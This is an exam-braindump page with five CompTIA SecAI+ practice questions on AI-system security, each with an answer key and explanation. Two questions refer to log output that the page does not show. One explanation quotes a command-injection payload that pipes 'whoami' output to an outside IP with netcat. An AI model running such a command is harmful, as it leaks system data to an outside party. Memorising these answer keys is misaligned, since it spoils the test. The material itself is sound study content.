Free CY0-001 Exam Braindumps
CompTIA SecAI+ Questions 66–70 (page: 15)

Updated On: 17-Sep-2026

An architect is creating a threat model for an agentic system.
Which of the following should the architect do first?

  1. Apply compensating controls based on exposure findings.
  2. Identify the trust boundary between the components.
  3. Calculate the risk to resources based on data sensitivity.
  4. Scan for vulnerabilities from the Open Worldwide Application Security Project (OWASP) Top 10.

Answer(s): B

Explanation:

The first step in creating a threat model is to identify trust boundaries, which define where data or control transitions between different systems, users, or components. This helps map potential attack surfaces and informs subsequent risk analysis and control implementation.



A security analyst is aware of an active penetration test in the environment. The analyst examines security information and event management (SIEM) log data and notices the following output from the AI system:

Which of the following is the vulnerability that has occurred and the control the analyst should implement?

  1. The vulnerability is prompt injection, and the analyst should use endpoint detection response (EDR).
  2. The vulnerability is model hallucinations, and the analyst should develop output validations.
  3. The vulnerability is jailbreaking, and the analyst should utilize role-based access control.
  4. The vulnerability is sensitive information disclosure, and the analyst should employ masking.
  5. The vulnerability is role impersonation, and the analyst should use validation.

Answer(s): D

Explanation:

The log data reveals personally identifiable information (PII) such as name, address, and a full credit card number. This represents a sensitive information disclosure vulnerability. The appropriate control is data masking, which protects sensitive data in logs and outputs while still allowing necessary system monitoring.



A recently deployed AI system becomes persistently unavailable. A restart temporarily fixes the issue, but the issue happens again. Upon examination of application programming interface (API) logs, an analyst finds that external calls continued to use system resources after the action completed.
Which of the following is the best way to improve availability of the system?

  1. Creating token limits
  2. Enforcing session expiration
  3. Increasing system memory
  4. Implementing multifactor authentication (MFA)

Answer(s): B

Explanation:

The persistent unavailability is caused by external calls consuming resources even after completion, indicating sessions are not being closed. Enforcing session expiration ensures unused sessions are terminated, freeing resources and improving system availability.



A security analyst receives an alert about an AI system and is investigating the following output:

Which of the following is the most appropriate control the analyst should recommend?

  1. Integrating data sanitization
  2. Implementing user input validation
  3. Monitoring logs for attack words from the system
  4. Hardening the Model Context Protocol server

Answer(s): B

Explanation:

The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.



An organization develops a chatbot with the following requirements:
-Does not provide harmful or explicit responses
-Must use clean and professional language
-Ensures that responses are accurate
Which of the following should the organization conduct after the chatbot is fully developed but before a customer-facing deployment?

  1. Data labeling and classification
  2. Model auditing and evaluation
  3. Guardrail testing and validation
  4. Regression modeling and minimization

Answer(s): C

Explanation:

Guardrail testing and validation ensure the chatbot adheres to safety, language, and accuracy requirements before deployment. This step verifies the model will not generate harmful, explicit, or unprofessional responses in a customer-facing environment.



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